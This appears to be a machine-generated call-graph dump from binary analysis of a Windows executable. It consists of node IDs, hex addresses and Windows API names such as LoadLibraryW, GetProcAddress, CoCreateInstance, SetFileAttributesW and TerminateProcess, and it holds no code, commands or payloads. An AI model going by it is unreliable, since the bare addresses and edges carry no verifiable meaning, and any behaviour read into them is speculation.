48808->48883 48815 41829b VariantClear 48809->48815 48809->48819 48816 449170 34 API calls 48810->48816 48817 449170 34 API calls 48811->48817 48814->48819 48815->48819 48816->48819 48817->48819 48884 4174f2 34 API calls 48818->48884 48819->48698 48821 449170 34 API calls 48820->48821 48822 416c5e 48821->48822 48822->48702 48824 42012a 48823->48824 48825 42010d 48823->48825 48827 4323fe 35 API calls 48824->48827 48834 420165 48824->48834 48940 41faee 51 API calls _fast_error_exit 48825->48940 48828 420153 48827->48828 48832 421406 324 API calls 48828->48832 48828->48834 48829 4201d8 48830 420122 48829->48830 48833 42a895 3 API calls 48829->48833 48830->48709 48851 416bba VariantClear 48830->48851 48832->48834 48836 42020e 48833->48836 48834->48829 48835 4201da 48834->48835 48885 42003a 48834->48885 48894 42036e 48834->48894 48916 4320d3 48834->48916 48839 418a14 VariantClear 48835->48839 48936 406ad8 48836->48936 48839->48829 48840 420218 48840->48830 48841 42026c 324 API calls 48840->48841 48842 420227 LockWindowUpdate KiUserCallbackDispatcher 48841->48842 48843 420256 GetMessageW 48842->48843 48843->48830 48845 420242 TranslateMessage DispatchMessageW 48843->48845 48845->48843 49733 416b91 48846->49733 48850 416ac1 48850->48705 48851->48709 48852->48709 48854 418881 48853->48854 48879 4188a0 48853->48879 48855 4183f6 ctype VariantClear 48854->48855 48856 418888 48855->48856 48857 4188c1 48856->48857 48858 4188e3 48856->48858 48859 418992 48856->48859 48860 418927 48856->48860 48861 41896e 48856->48861 48856->48879 48862 449170 34 API calls 48857->48862 48864 449170 34 API calls 48858->48864 48863 449170 34 API calls 48859->48863 48867 449170 34 API calls 48860->48867 48860->48879 48865 449170 34 API calls 48861->48865 48866 4188c8 48862->48866 48868 418999 48863->48868 48864->48879 48869 418975 48865->48869 48874 416c4c 34 API calls 48866->48874 48866->48879 48870 418937 VariantInit VariantCopy 48867->48870 48871 4189cb 48868->48871 48872 4189aa 48868->48872 48873 418981 48869->48873 49745 41817f 34 API calls 48869->49745 48875 418953 VariantClear 48870->48875 48870->48879 48877 449170 34 API calls 48871->48877 48876 449170 34 API calls 48872->48876 49746 4174f2 34 API calls 48873->49746 48874->48879 48875->48879 48876->48879 48877->48879 48879->48714 48881->48718 48882->48720 48883->48818 48884->48819 48886 420056 PeekMessageW 48885->48886 48887 420049 48885->48887 48889 42006e 48886->48889 48891 4200af 48886->48891 48887->48886 48888 420052 48887->48888 48888->48834 48889->48891 48892 420087 TranslateMessage DispatchMessageW 48889->48892 48893 42009b PeekMessageW 48889->48893 48941 4042c8 GetClassNameW IsDialogMessageW 48889->48941 48891->48834 48892->48893 48893->48889 48893->48891 48942 4209de 48894->48942 48897 420415 48897->48834 48898 42038e Sleep 48898->48897 48900 42039f 48900->48897 48951 420acc 329 API calls ctype 48900->48951 48902 4203aa 48902->48897 48903 4203ae 48902->48903 48952 420d89 329 API calls ctype 48903->48952 48905 4203b4 48905->48897 48953 420c75 329 API calls ctype 48905->48953 48907 4203bd 48907->48897 48908 42040a 48907->48908 48909 4203ca GetExitCodeProcess 48907->48909 48954 43857c 110 API calls 48908->48954 48909->48898 48910 4203e5 CloseHandle 48909->48910 48912 418a14 VariantClear 48910->48912 48914 4203fb 48912->48914 48913 420411 48913->48897 48955 43efe7 102 API calls 48913->48955 48914->48897 48917 4320fc 48916->48917 48918 4321d1 48917->48918 48919 432107 48917->48919 49075 433470 48918->49075 48920 432199 48919->48920 48921 43210e 48919->48921 49064 4321ef 48920->49064 48924 432113 48921->48924 48925 43218c 48921->48925 48926 432197 48924->48926 48929 43217c 48924->48929 48932 43211d 48924->48932 49007 432d09 48925->49007 48928 4183f6 ctype VariantClear 48926->48928 48930 4321e8 48928->48930 48957 43244b 48929->48957 48930->48834 48933 432122 48932->48933 49130 433276 48932->49130 48933->48926 49159 41faee 51 API calls _fast_error_exit 48933->49159 48939 406aec 48936->48939 48937 406b20 48937->48840 48939->48937 49732 40c431 InvalidateRect 48939->49732 48940->48830 48941->48889 48943 42037c 48942->48943 48944 4209f6 48942->48944 48943->48897 48943->48898 48950 42093f 329 API calls 48943->48950 48944->48943 48945 4323fe 35 API calls 48944->48945 48946 420a81 48945->48946 48956 416cee 34 API calls 48946->48956 48948 420a9d 48949 421406 329 API calls 48948->48949 48949->48943 48950->48900 48951->48902 48952->48905 48953->48907 48954->48913 48955->48897 48956->48948 48958 432465 48957->48958 48959 4323fe 35 API calls 48958->48959 48960 43247f 48959->48960 48961 432483 48960->48961 48966 432496 48960->48966 49173 432c28 234 API calls 2 library calls 48961->49173 48964 43256f 49160 421630 48964->49160 48965 4183f6 ctype VariantClear 48967 432bf1 48965->48967 48966->48964 48968 421630 34 API calls 48966->48968 49005 432541 48966->49005 48970 4183f6 ctype VariantClear 48967->48970 48968->48966 48971 432bf9 48970->48971 48972 4183f6 ctype VariantClear 48971->48972 48973 432c01 48972->48973 49233 417c63 VariantClear ctype 48973->49233 48974 4327e5 48975 416a9f 35 API calls 48974->48975 48974->49005 49006 4328b7 48975->49006 48976 432aeb 49168 421713 48976->49168 48979 432491 48979->48933 48982 418a14 VariantClear 48984 432b1e 48982->48984 48985 421406 329 API calls 48984->48985 48986 432b44 48985->48986 48987 432b56 48986->48987 48989 418874 38 API calls 48986->48989 48991 418a14 VariantClear 48987->48991 48988 416990 39 API calls 48988->49006 48989->48987 48990 416bfe 34 API calls 48992 432587 48990->48992 48994 432b81 48991->48994 48992->48974 48992->48990 49004 432864 48992->49004 48992->49005 49174 4169e0 CharUpperBuffW 48992->49174 49176 436aed 221 API calls ctype 48992->49176 49177 4190e4 VariantClear ctype 48992->49177 49178 4376b3 48992->49178 49221 417c83 48992->49221 49231 421751 VariantClear 48994->49231 48995 421630 34 API calls 48995->49006 48998 416bfe 34 API calls 48998->49006 48999 432bd1 49232 416bba VariantClear 48999->49232 49000 4376b3 221 API calls 49000->49006 49004->48965 49229 41faee 51 API calls _fast_error_exit 49005->49229 49006->48976 49006->48988 49006->48995 49006->48998 49006->49000 49006->49005 49230 416a56 35 API calls 49006->49230 49016 432d36 49007->49016 49008 432df6 49012 416bfe 34 API calls 49008->49012 49010 4376b3 221 API calls 49015 432dc2 49010->49015 49011 432df1 49013 4183f6 ctype VariantClear 49011->49013 49014 432e0c 49012->49014 49017 4330d7 49013->49017 49018 416c4c 34 API calls 49014->49018 49015->49008 49015->49011 49020 432da5 49015->49020 49016->49008 49016->49010 49016->49020 49017->48926 49019 432e1f 49018->49019 49021 4169e0 CharUpperBuffW 49019->49021 49262 41faee 51 API calls _fast_error_exit 49020->49262 49022 432e2c 49021->49022 49023 432e39 49022->49023 49026 432f0c 49022->49026 49024 432ef3 49023->49024 49027 432e60 49023->49027 49024->49011 49271 41faee 51 API calls _fast_error_exit 49024->49271 49025 432f5e 49025->49011 49028 432f75 49025->49028 49033 432fa6 49025->49033 49026->49024 49026->49025 49268 418357 37 API calls 49026->49268 49029 416c4c 34 API calls 49027->49029 49270 4309c0 95 API calls ctype 49028->49270 49034 432e7b 49029->49034 49037 432fcc 49033->49037 49063 432ff8 49033->49063 49263 416990 CharUpperBuffW 49034->49263 49035 432eb1 49039 4330bb 49035->49039 49040 432ebf 49035->49040 49036 432f4e 49269 436aed 221 API calls ctype 49036->49269 49043 433276 221 API calls 49037->49043 49046 418874 38 API calls 49039->49046 49044 432ec8 49040->49044 49045 4330af 49040->49045 49042 432e8a 49047 416c4c 34 API calls 49042->49047 49043->49024 49048 4330a3 49044->49048 49049 432ecf 49044->49049 49275 4190fd 62 API calls ctype 49045->49275 49046->49011 49051 432e9c 49047->49051 49274 41924b 60 API calls ctype 49048->49274 49053 433096 49049->49053 49054 432ed6 49049->49054 49055 4169e0 CharUpperBuffW 49051->49055 49273 4193d3 60 API calls ctype 49053->49273 49056 43308a 49054->49056 49057 432edd 49054->49057 49059 432ea9 49055->49059 49272 419319 60 API calls ctype 49056->49272 49057->49011 49267 419bfa 51 API calls 49057->49267 49060 4183f6 ctype VariantClear 49059->49060 49060->49035 49063->49024 49063->49035 49065 4321ff 49064->49065 49277 432285 221 API calls ctype 49065->49277 49067 432233 49068 432266 49067->49068 49070 432250 49067->49070 49074 43225e 49067->49074 49289 41faee 51 API calls _fast_error_exit 49068->49289 49278 420425 49070->49278 49290 417c63 VariantClear ctype 49074->49290 49076 433488 49075->49076 49077 433653 49076->49077 49078 433501 49076->49078 49079 433647 49076->49079 49080 433546 49076->49080 49081 433586 49076->49081 49082 4335c6 49076->49082 49083 4334cc 49076->49083 49084 433513 49076->49084 49085 433557 49076->49085 49086 433597 49076->49086 49087 4335d5 49076->49087 49088 43349d 49076->49088 49089 4334dd 49076->49089 49090 4335a6 49076->49090 49091 433524 49076->49091 49092 433568 49076->49092 49093 4334af 49076->49093 49094 4334ef 49076->49094 49095 4335ed 49076->49095 49096 433577 49076->49096 49097 4335b7 49076->49097 49098 433536 49076->49098 49099 4335f9 49076->49099 49100 4334bd 49076->49100 49101 43363c 49076->49101 49112 4334aa 49076->49112 49113 43360b 49076->49113 49651 41faee 51 API calls _fast_error_exit 49077->49651 49634 433d51 221 API calls ctype 49078->49634 49650 434e42 52 API calls 49079->49650 49638 434533 132 API calls ctype 49080->49638 49642 43498c 221 API calls ctype 49081->49642 49646 4354f2 222 API calls ctype 49082->49646 49631 433adf 221 API calls ctype 49083->49631 49635 433e53 55 API calls ctype 49084->49635 49639 4346d6 221 API calls ctype 49085->49639 49643 43494a 52 API calls 49086->49643 49598 434e89 49087->49598 49575 433700 49088->49575 49632 433c00 52 API calls 49089->49632 49644 434c69 55 API calls ctype 49090->49644 49636 433f4d 221 API calls 49091->49636 49640 4348cf 38 API calls ctype 49092->49640 49629 433a8f 38 API calls ctype 49093->49629 49633 433c52 221 API calls ctype 49094->49633 49647 435a47 221 API calls ctype 49095->49647 49641 43494a 52 API calls 49096->49641 49645 4360be 222 API calls ctype 49097->49645 49637 433fc1 226 API calls ctype 49098->49637 49648 4359d0 221 API calls 49099->49648 49630 43494a 52 API calls 49100->49630 49649 434da0 221 API calls 49101->49649 49112->48926 49129 4323fe 35 API calls 49113->49129 49129->49112 49131 433289 49130->49131 49132 418874 38 API calls 49131->49132 49156 4332bb 49132->49156 49135 4333dc 49139 4183f6 ctype VariantClear 49135->49139 49136 433408 49138 4376b3 221 API calls 49136->49138 49145 433418 49138->49145 49140 4333e7 49139->49140 49141 4183f6 ctype VariantClear 49140->49141 49143 4333ef 49141->49143 49142 418a14 VariantClear 49142->49156 49144 4183f6 ctype VariantClear 49143->49144 49146 4333f7 49144->49146 49145->49135 49147 433445 49145->49147 49148 43342d 49145->49148 49697 417c63 VariantClear ctype 49146->49697 49149 417c83 38 API calls 49147->49149 49698 41faee 51 API calls _fast_error_exit 49148->49698 49151 433451 49149->49151 49688 431dce 49151->49688 49154 418874 38 API calls 49154->49156 49156->49135 49156->49136 49156->49142 49156->49154 49157 4333cd 49156->49157 49682 431e29 49156->49682 49694 417d32 VariantClear ctype 49156->49694 49695 431e5b 221 API calls ctype 49156->49695 49696 41fcd4 51 API calls _fast_error_exit 49157->49696 49159->48926 49161 42163c 49160->49161 49165 42165e 49160->49165 49164 449170 34 API calls 49161->49164 49162 449170 34 API calls 49163 42168a 49162->49163 49234 417e35 49163->49234 49164->49165 49165->49162 49167 4216b6 49167->48992 49169 449170 34 API calls 49168->49169 49170 42171b 49169->49170 49238 421847 49170->49238 49173->48979 49175 4169fb 49174->49175 49175->48992 49176->48992 49177->48992 49243 43633e 49178->49243 49180 4321ef 221 API calls 49193 437702 49180->49193 49182 43633e 34 API calls 49182->49193 49183 437eff 94 API calls 49183->49193 49184 43789d 49261 4384ea VariantClear ctype 49184->49261 49185 437deb 49187 437e23 49185->49187 49188 437cb3 49185->49188 49186 437d29 49190 4181c7 37 API calls 49186->49190 49192 418874 38 API calls 49187->49192 49258 41faee 51 API calls _fast_error_exit 49188->49258 49211 437d34 49190->49211 49191 43850c 38 API calls 49191->49193 49196 437e01 49192->49196 49193->49180 49193->49182 49193->49183 49193->49184 49193->49185 49193->49186 49193->49188 49193->49191 49200 437e32 49193->49200 49205 437c86 49193->49205 49246 43671d 221 API calls ctype 49193->49246 49247 4174a6 34 API calls 49193->49247 49248 4190b2 35 API calls ctype 49193->49248 49249 419099 VariantClear ctype 49193->49249 49259 4384ea VariantClear ctype 49196->49259 49260 41faee 51 API calls _fast_error_exit 49200->49260 49250 41faee 51 API calls _fast_error_exit 49205->49250 49207 437e49 49212 4183f6 ctype VariantClear 49207->49212 49210 437d98 49215 4183f6 ctype VariantClear 49210->49215 49211->49200 49211->49210 49213 437d6a 49211->49213 49212->49184 49251 438541 VariantClear ctype 49213->49251 49217 437da8 49215->49217 49216 437d75 49252 419099 VariantClear ctype 49216->49252 49217->48992 49219 437d89 49253 43850c 49219->49253 49222 417c8e 49221->49222 49226 417cb1 49221->49226 49225 449170 34 API calls 49222->49225 49223 449170 34 API calls 49224 417cde 49223->49224 49227 418874 38 API calls 49224->49227 49225->49226 49226->49223 49228 417d12 49227->49228 49228->48992 49229->49004 49230->49006 49231->48999 49232->49004 49235 417e3d 49234->49235 49237 417e89 49234->49237 49236 449170 34 API calls 49235->49236 49235->49237 49236->49237 49237->49167 49239 418874 38 API calls 49238->49239 49240 42186d 49239->49240 49241 418874 38 API calls 49240->49241 49242 421742 49241->49242 49242->48982 49244 449170 34 API calls 49243->49244 49245 436345 49244->49245 49245->49193 49246->49193 49247->49193 49248->49193 49249->49193 49250->49184 49251->49216 49252->49219 49254 449170 34 API calls 49253->49254 49255 438514 49254->49255 49256 418874 38 API calls 49255->49256 49257 438532 49256->49257 49257->49210 49258->49196 49260->49207 49262->49011 49265 4169a8 49263->49265 49264 4169d1 49264->49042 49265->49264 49276 418048 38 API calls 49265->49276 49267->49011 49268->49036 49269->49025 49270->49024 49271->49011 49272->49011 49273->49011 49274->49011 49275->49011 49276->49264 49277->49067 49279 418a14 VariantClear 49278->49279 49280 420432 49279->49280 49281 42047f 49280->49281 49282 420462 49280->49282 49291 4253c3 49281->49291 49318 439814 49281->49318 49411 414e55 GetFileAttributesW 49281->49411 49413 4222a2 49281->49413 49452 418ad9 49282->49452 49283 42047b 49283->49074 49289->49074 49292 4253e5 49291->49292 49459 4184a9 49292->49459 49296 4184a9 50 API calls 49297 4254fb 49296->49297 49463 414e6e 49297->49463 49298 425417 49298->49296 49303 4254e5 49298->49303 49300 425524 49301 42556e GetCurrentDirectoryW SetCurrentDirectoryW 49300->49301 49302 425592 49301->49302 49301->49303 49304 414e55 GetFileAttributesW 49302->49304 49305 418a14 VariantClear 49303->49305 49306 42559e 49304->49306 49307 4255de 49305->49307 49308 425602 49306->49308 49309 4255a3 GetFileAttributesW SetFileAttributesW 49306->49309 49307->49283 49467 425639 FindFirstFileW 49308->49467 49311 4255e0 49309->49311 49312 4255cc SetCurrentDirectoryW 49309->49312 49313 4255e6 SetCurrentDirectoryW 49311->49313 49314 425627 SetCurrentDirectoryW 49311->49314 49312->49303 49316 425600 49313->49316 49314->49307 49316->49308 49317 418a14 VariantClear 49317->49314 49319 439ac7 49318->49319 49492 4184c9 49319->49492 49322 416c4c 34 API calls 49323 439ae1 49322->49323 49324 4184c9 50 API calls 49323->49324 49325 439af7 49324->49325 49326 416c4c 34 API calls 49325->49326 49327 439b01 49326->49327 49496 416bde 49327->49496 49330 439b21 49506 41faee 51 API calls _fast_error_exit 49330->49506 49331 439b35 CharLowerBuffW 49499 417171 49331->49499 49335 439d5d 49340 439da5 49335->49340 49341 439d89 49335->49341 49336 416bde 34 API calls 49337 439b74 49336->49337 49507 416f90 34 API calls 49337->49507 49345 41858e 54 API calls 49340->49345 49347 4184a9 50 API calls 49341->49347 49342 4184c9 50 API calls 49361 439bb9 49342->49361 49343 439b89 49348 416bfe 34 API calls 49343->49348 49344 416bfe 34 API calls 49344->49361 49354 439db8 49345->49354 49349 439d9c LoadLibraryW 49347->49349 49357 439ba0 49348->49357 49362 439df1 49349->49362 49350 439dd9 49351 439e0a 49350->49351 49358 41858e 54 API calls 49350->49358 49353 418a14 VariantClear 49351->49353 49352 439e1c 49359 439e35 49352->49359 49360 439e59 49352->49360 49388 439b2d 49353->49388 49354->49350 49356 41858e 54 API calls 49354->49356 49356->49350 49357->49361 49367 416bfe 34 API calls 49357->49367 49358->49362 49511 4168a2 49359->49511 49368 41858e 54 API calls 49360->49368 49361->49335 49361->49342 49361->49344 49366 439d6b 49361->49366 49508 416f37 34 API calls 49361->49508 49509 416cee 34 API calls 49361->49509 49510 44943d 62 API calls 2 library calls 49361->49510 49362->49351 49362->49352 49369 418a14 VariantClear 49366->49369 49371 439bcf 49367->49371 49370 439e6e GetProcAddress 49368->49370 49369->49388 49373 439e7b 49370->49373 49372 416bfe 34 API calls 49371->49372 49380 439bed 49371->49380 49372->49380 49375 439e56 49373->49375 49376 439ec8 49373->49376 49410 439eeb _strcat 49373->49410 49374 416bfe 34 API calls 49400 43a0fe 49374->49400 49375->49373 49518 416d7e 34 API calls 49375->49518 49389 418a14 VariantClear 49376->49389 49377 439c97 49381 418a14 VariantClear 49377->49381 49378 43a0c5 49378->49374 49380->49361 49380->49377 49381->49388 49384 439ea1 49393 4168a2 36 API calls 49384->49393 49387 418a14 VariantClear 49391 43a184 49387->49391 49388->49283 49389->49388 49390 43a261 VariantClear 49390->49391 49391->49387 49391->49388 49396 418ad9 35 API calls 49391->49396 49521 415adc 35 API calls 49391->49521 49522 418aa7 VariantClear ctype 49391->49522 49523 41684e 36 API calls _strlen 49391->49523 49524 418a87 VariantClear ctype 49391->49524 49525 418b39 58 API calls ctype 49391->49525 49526 418b39 58 API calls ctype 49391->49526 49394 439eac GetProcAddress 49393->49394 49397 439ec2 49394->49397 49395 41858e 54 API calls 49395->49410 49396->49391 49397->49376 49397->49410 49399 449170 34 API calls 49399->49410 49400->49400 49401 43a16a 49400->49401 49402 43a14f 49400->49402 49520 415ac3 35 API calls 49401->49520 49519 41faee 51 API calls _fast_error_exit 49402->49519 49403 4184a9 50 API calls 49403->49410 49406 43a15b GetCurrentProcess TerminateProcess 49406->49401 49408 4168a2 36 API calls 49408->49410 49410->49378 49410->49391 49410->49395 49410->49399 49410->49403 49410->49408 49412 414e64 49411->49412 49412->49283 49414 4222b9 49413->49414 49415 41858e 54 API calls 49414->49415 49416 4222c9 49415->49416 49418 416bde 34 API calls 49416->49418 49451 42237d 49416->49451 49417 449170 34 API calls 49419 4223a4 49417->49419 49420 4222e4 49418->49420 49424 4223ae 49419->49424 49553 413c2d 47 API calls 49419->49553 49421 449170 34 API calls 49420->49421 49423 4222ef 49421->49423 49425 449170 34 API calls 49423->49425 49426 4184a9 50 API calls 49424->49426 49427 4222f7 49425->49427 49428 4223cc 49426->49428 49430 4184a9 50 API calls 49427->49430 49530 413c3d 49428->49530 49431 422318 49430->49431 49549 416ee1 34 API calls 49431->49549 49432 418a14 VariantClear 49449 422385 49432->49449 49433 449170 34 API calls 49436 42240f 49433->49436 49434 4223d8 49434->49433 49443 4223dc 49434->49443 49436->49443 49554 403d50 34 API calls 49436->49554 49437 42232d 49550 416ee1 34 API calls 49437->49550 49440 42233b 49444 422365 49440->49444 49551 414e01 GetFileAttributesW FindFirstFileW FindClose 49440->49551 49442 422349 49442->49444 49445 42234e 49442->49445 49443->49432 49447 41858e 54 API calls 49444->49447 49552 41553b 38 API calls _wcsrchr 49445->49552 49447->49451 49448 422356 49448->49444 49450 418a14 VariantClear 49448->49450 49449->49283 49450->49444 49451->49417 49451->49449 49453 4183f6 ctype VariantClear 49452->49453 49454 418ae0 49453->49454 49455 449170 34 API calls 49454->49455 49456 418aee 49455->49456 49457 416bfe 34 API calls 49456->49457 49458 418aff 49456->49458 49457->49458 49458->49283 49460 4184b1 49459->49460 49461 4184c3 49460->49461 49486 41873b 50 API calls ctype 49460->49486 49461->49298 49481 41858e 49461->49481 49487 416034 49463->49487 49465 414e7d GetFullPathNameW 49466 414e94 49465->49466 49466->49300 49468 42561a 49467->49468 49469 42566a 49467->49469 49468->49314 49468->49317 49470 4256c8 FindNextFileW 49469->49470 49474 42569f GetFileAttributesW SetFileAttributesW 49469->49474 49470->49469 49471 4256da FindClose 49470->49471 49471->49468 49472 4256f1 FindFirstFileW 49471->49472 49473 42577d 49472->49473 49479 425707 49472->49479 49476 42577f FindClose 49473->49476 49474->49470 49475 4256ea 49474->49475 49475->49476 49476->49468 49477 425769 FindNextFileW 49477->49473 49477->49479 49478 425745 SetCurrentDirectoryW 49478->49479 49479->49475 49479->49477 49479->49478 49480 425766 SetCurrentDirectoryW 49479->49480 49480->49477 49482 4185c3 49481->49482 49483 41859a 49481->49483 49482->49298 49483->49482 49491 449291 54 API calls 49483->49491 49485 4185dd 49485->49298 49486->49461 49488 41603e 49487->49488 49489 449170 34 API calls 49488->49489 49490 416048 49489->49490 49490->49465 49491->49485 49493 4184dc 49492->49493 49494 4184cf 49492->49494 49493->49322 49494->49493 49527 41873b 50 API calls ctype 49494->49527 49497 449170 34 API calls 49496->49497 49498 416bf3 49497->49498 49498->49330 49498->49331 49501 41717e 49499->49501 49500 4171c4 49500->49336 49500->49361 49501->49500 49502 4171b5 49501->49502 49505 417216 49501->49505 49502->49500 49528 4173ee 63 API calls 49502->49528 49505->49500 49529 4173ee 63 API calls 49505->49529 49506->49388 49507->49343 49508->49361 49509->49361 49510->49361 49512 4168bb WideCharToMultiByte 49511->49512 49513 4168ae 49511->49513 49514 4168d6 GetProcAddress 49512->49514 49515 4168da 49512->49515 49513->49512 49514->49375 49516 449170 34 API calls 49515->49516 49517 4168e0 WideCharToMultiByte 49516->49517 49517->49514 49518->49384 49519->49406 49521->49391 49522->49391 49523->49391 49524->49391 49525->49391 49526->49390 49527->49493 49528->49502 49529->49505 49555 413e1f 49530->49555 49533 413c6e 49535 413c76 49533->49535 49536 413c81 49533->49536 49537 413ca5 49533->49537 49538 44a5a9 63 API calls 49535->49538 49562 44a5a9 49536->49562 49537->49535 49540 413cba 49537->49540 49543 413ca0 49538->49543 49541 413cbe CreateFileW 49540->49541 49544 413ce5 49540->49544 49541->49543 49543->49544 49573 413d58 45 API calls 49543->49573 49544->49434 49547 413ce0 49574 413d9d 45 API calls 49547->49574 49549->49437 49550->49440 49551->49442 49552->49448 49553->49424 49554->49443 49556 413e29 49555->49556 49557 413c4c 49555->49557 49558 413e37 49556->49558 49559 413e2f CloseHandle 49556->49559 49557->49533 49561 413e51 64 API calls 49557->49561 49560 44a855 46 API calls 49558->49560 49559->49557 49560->49557 49561->49533 49563 44a54d 63 API calls 49562->49563 49564 413c8e 49563->49564 49564->49543 49565 44a64b 49564->49565 49566 44a657 ___free_lc_time 49565->49566 49567 44b8fc 35 API calls 49566->49567 49568 44a65f 49567->49568 49569 44a5bc 43 API calls 49568->49569 49570 44a672 49569->49570 49571 44a68a RtlLeaveCriticalSection RtlLeaveCriticalSection 49570->49571 49572 44a681 ___free_lc_time 49571->49572 49572->49543 49573->49547 49574->49544 49652 437668 49575->49652 49577 43371d 49578 433a6f 49577->49578 49580 43374c 49577->49580 49592 4337c7 49577->49592 49658 41faee 51 API calls _fast_error_exit 49578->49658 49581 4337d4 49580->49581 49582 43375e 49580->49582 49593 433822 49581->49593 49595 433839 49581->49595 49596 437668 221 API calls 49581->49596 49597 433a08 49581->49597 49584 4337a8 49582->49584 49586 421630 34 API calls 49582->49586 49582->49592 49583 421713 38 API calls 49583->49595 49588 421630 34 API calls 49584->49588 49585 4183f6 ctype VariantClear 49587 433841 49585->49587 49586->49582 49590 4183f6 ctype VariantClear 49587->49590 49589 4337b8 49588->49589 49591 4320d3 329 API calls 49589->49591 49590->49592 49591->49592 49592->49112 49593->49583 49595->49585 49596->49581 49657 41faee 51 API calls _fast_error_exit 49597->49657 49601 434ed8 49598->49601 49599 434f1b 49600 416bde 34 API calls 49599->49600 49623 434f23 49600->49623 49601->49599 49602 434f07 49601->49602 49603 434eee 49601->49603 49660 4354f2 222 API calls ctype 49602->49660 49603->49599 49605 434ef3 49603->49605 49659 4360be 222 API calls ctype 49605->49659 49607 4183f6 ctype VariantClear 49608 435437 49607->49608 49609 4183f6 ctype VariantClear 49608->49609 49611 43543f 49609->49611 49610 416d00 34 API calls 49610->49623 49611->49112 49613 434f02 49613->49607 49614 435412 49679 41faee 51 API calls _fast_error_exit 49614->49679 49615 416c4c 34 API calls 49615->49623 49616 416990 39 API calls 49616->49623 49618 4169e0 CharUpperBuffW 49618->49623 49619 418874 38 API calls 49619->49623 49620 418ad9 35 API calls 49620->49623 49621 4376b3 221 API calls 49621->49623 49623->49610 49623->49613 49623->49614 49623->49615 49623->49616 49623->49618 49623->49619 49623->49620 49623->49621 49624 416bfe 34 API calls 49623->49624 49625 41858e 54 API calls 49623->49625 49661 416b20 CharUpperBuffW 49623->49661 49662 419c9c 49623->49662 49668 419d56 49623->49668 49677 419f19 38 API calls 49623->49677 49678 4330de 221 API calls ctype 49623->49678 49624->49623 49625->49623 49629->49112 49630->49112 49631->49112 49632->49112 49633->49112 49634->49112 49635->49112 49636->49112 49637->49112 49638->49112 49639->49112 49640->49112 49641->49112 49642->49112 49643->49112 49644->49112 49645->49112 49646->49112 49647->49112 49648->49112 49649->49112 49650->49112 49651->49112 49653 4376b3 221 API calls 49652->49653 49654 43768c 49653->49654 49655 4183f6 ctype VariantClear 49654->49655 49656 4376ac 49655->49656 49656->49577 49657->49595 49658->49592 49659->49613 49660->49613 49661->49623 49663 419cb1 49662->49663 49664 419ca5 49662->49664 49663->49623 49665 4183f6 ctype VariantClear 49664->49665 49666 419cac 49665->49666 49680 419c48 34 API calls 49666->49680 49669 419d63 ctype 49668->49669 49670 419d5f 49668->49670 49681 419ce1 VariantClear ctype 49669->49681 49670->49623 49672 419d71 49673 449170 34 API calls 49672->49673 49676 419ddf 49672->49676 49674 419dd4 49673->49674 49675 449170 34 API calls 49674->49675 49675->49676 49676->49623 49676->49676 49677->49623 49678->49623 49679->49613 49680->49663 49681->49672 49683 431e30 49682->49683 49685 431e52 49682->49685 49684 418ad9 35 API calls 49683->49684 49686 431e3a 49684->49686 49685->49156 49699 431b0a 49686->49699 49689 431de8 49688->49689 49690 431b0a 110 API calls 49689->49690 49691 431e18 49690->49691 49692 4183f6 ctype VariantClear 49691->49692 49693 431e22 49692->49693 49693->49135 49694->49156 49695->49156 49696->49135 49698->49135 49703 431b42 49699->49703 49709 431b5f 49699->49709 49701 431d97 49701->49685 49702 431bd2 49705 449170 34 API calls 49702->49705 49703->49702 49704 416034 34 API calls 49703->49704 49703->49709 49706 431b99 49704->49706 49711 431be3 49705->49711 49706->49702 49706->49709 49707 431c1c 49708 431c5d VariantInit 49707->49708 49720 431d76 49707->49720 49712 431c74 __umatherr 49708->49712 49731 4309c0 95 API calls ctype 49709->49731 49711->49707 49713 431c1e 49711->49713 49726 4301fc 89 API calls ctype 49711->49726 49714 431ce0 49712->49714 49715 431d06 49712->49715 49727 4309c0 95 API calls ctype 49713->49727 49728 4309c0 95 API calls ctype 49714->49728 49729 418b39 58 API calls ctype 49715->49729 49719 431d69 VariantClear 49719->49720 49720->49701 49722 431d89 VariantClear 49720->49722 49723 431d8e VariantClear 49720->49723 49721 431cf8 49721->49719 49722->49723 49723->49701 49723->49720 49725 431d12 49725->49719 49730 418b39 58 API calls ctype 49725->49730 49726->49711 49727->49707 49728->49721 49729->49725 49730->49725 49731->49701 49732->48939 49734 449170 34 API calls 49733->49734 49735 416ab6 49734->49735 49736 417f9f 49735->49736 49737 417fab 49736->49737 49742 417fdc 49736->49742 49738 417fb8 49737->49738 49739 417f9f VariantClear 49737->49739 49740 417fc7 49738->49740 49741 417f9f VariantClear 49738->49741 49739->49738 49740->49742 49744 43855b VariantClear ctype 49740->49744 49741->49740 49742->48850 49744->49742 49745->48873 49746->48879 49747 4310a2 49748 4310b5 49747->49748 49749 4310eb 49747->49749 49750 431111 49748->49750 49751 4310b8 49748->49751 49754 4184a9 50 API calls 49749->49754 49755 4184a9 50 API calls 49750->49755 49752 4310f0 49751->49752 49753 4310bb 49751->49753 49758 4184a9 50 API calls 49752->49758 49756 431149 49753->49756 49759 4184a9 50 API calls 49753->49759 49757 431140 49754->49757 49755->49749 49767 430dcb 49757->49767 49761 431105 49758->49761 49762 4310db 49759->49762 49763 4184a9 50 API calls 49761->49763 49764 4184a9 50 API calls 49762->49764 49763->49749 49765 4310e3 49764->49765 49766 4184a9 50 API calls 49765->49766 49766->49749 49768 416bde 34 API calls 49767->49768 49769 430de6 49768->49769 49770 416bde 34 API calls 49769->49770 49771 430dee 49770->49771 49772 416bde 34 API calls 49771->49772 49773 430df6 49772->49773 49774 418a14 VariantClear 49773->49774 49775 430e0c 49774->49775 49776 430e22 49775->49776 49777 430e14 OleInitialize 49775->49777 49778 416034 34 API calls 49776->49778 49777->49776 49779 430e2a CLSIDFromProgID 49778->49779 49780 430e40 49779->49780 49781 430e45 49780->49781 49782 430e61 CoCreateInstance 49780->49782 49783 430ed7 49780->49783 49811 4309c0 95 API calls ctype 49781->49811 49782->49781 49785 430e7d 49782->49785 49813 430763 41 API calls __umatherr 49783->49813 49785->49781 49791 430e9b 49785->49791 49787 430eec 49787->49781 49788 430ef9 CoInitializeSecurity 49787->49788 49789 430f17 __umatherr 49788->49789 49814 4301be CoTaskMemAlloc 49789->49814 49790 430e52 49790->49756 49812 418b39 58 API calls ctype 49791->49812 49794 430faa __umatherr 49797 431019 CoCreateInstanceEx 49794->49797 49800 430f55 49794->49800 49795 430f25 49795->49794 49796 416d00 34 API calls 49795->49796 49799 430f41 49796->49799 49797->49781 49798 43104d 49797->49798 49798->49781 49802 431080 49798->49802 49803 43105d CoSetProxyBlanket 49798->49803 49799->49800 49815 41728c 34 API calls 49799->49815 49800->49794 49802->49785 49805 431094 